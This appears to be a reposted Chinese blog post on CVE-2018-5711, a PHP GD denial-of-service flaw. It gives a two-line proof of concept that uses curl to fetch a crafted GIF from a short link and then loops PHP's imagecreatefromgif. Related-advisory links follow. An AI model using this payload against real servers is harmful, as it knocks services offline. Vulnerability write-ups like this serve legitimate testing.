CVE-2018-5711:PHP GD库拒绝服务漏洞

阿里云发布的PHP高危漏洞

这肯定要修补啊，官方解决方案就是升级到最新版

升级过程就不说了
编译----安装
期间各种BUG，很恶心

事后，觉得这漏洞还挺好，就给大家转载下
有时间的可以自己测试下
不要捣蛋哦，小朋友们

PoC

下载捣蛋文件
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif

本机函数测试
$ php -r 'imagecreatefromgif("poc.gif");'

结果自循环，请使用ctrl+c
Infinite loop here...

转载于:https://blog.51cto.com/kevinzhang91/2070078

CVE-2018-5711:PHP GD库拒绝服务漏洞相关推荐

Ruby BigDecimal库拒绝服务漏洞
影响版本: Yukihiro Matsumoto Ruby 1.8.x 漏洞描述: BUGTRAQ ID: 35278 CVE(CAN) ID: CVE-2009-1904 Ruby是一种功能强大的面 ...
绿盟科技网络安全威胁周报2017.07 请关注OpenSSL拒绝服务漏洞CVE-2017-3733
绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-07,绿盟科技漏洞库本周新增49条,其中高危24条.本次周报建议大家关注 OpenSSL拒绝服务漏洞 CVE-2017-3733 .目前Ope ...
php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞
事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...
2345内核拒绝服务漏洞（1）
概述已经快2个月了吧,已经忘了是什么原因突然搞起了驱动漏洞,反正就是很有兴致地想挖掘一下驱动漏洞. 在网上了解了基本的驱动漏洞挖掘方法,主要是通过ioctl接口进行挖掘,已经有很多相关fuzz工具了 ...
多个Cisco产品报文远程拒绝服务漏洞
多个Cisco产品报文远程拒绝服务漏洞影响版本: Cisco NX-OS Cisco Nexus 5000 Cisco IOS Software Cisco IOS-XE Software Cisc ...
Apache Tomcat 拒绝服务漏洞通告
作者 | 360CERT 来源 | https://www.oschina.net/news/164556 报告编号:B6-2021-101501 报告来源:360CERT 报告作者:360CERT ...
openssl升级_CVE20201967: openssl 拒绝服务漏洞通告
[漏洞背景] 2020年04月21日,openssl 官方发布了 TLS 1.3 组件拒绝服务漏洞的风险通告,该漏洞编号为 CVE-2020-1967. [漏洞等级]高危,影响广泛. [漏洞概述] ...
linux ntp 'ntp_request.c'远程拒绝服务漏洞,NTP拒绝服务漏洞(CVE-2015-5146)
NTP拒绝服务漏洞(CVE-2015-5146) 发布日期:2015-07-01 更新日期:2015-07-10 受影响系统: NTP NTP 不受影响系统: NTP NTP 4.3.25 NTP N ...
Linux Kernel ‘_xfs_buf_find()’函数空指针引用拒绝服务漏洞
漏洞名称: Linux Kernel '_xfs_buf_find()'函数空指针引用拒绝服务漏洞 CNNVD编号: CNNVD-201303-071 发布时间: 2013-03-06 更新时间: 2 ...

CVE-2018-5711:PHP GD库拒绝服务漏洞

CVE-2018-5711:PHP GD库拒绝服务漏洞相关推荐

最新文章

热门文章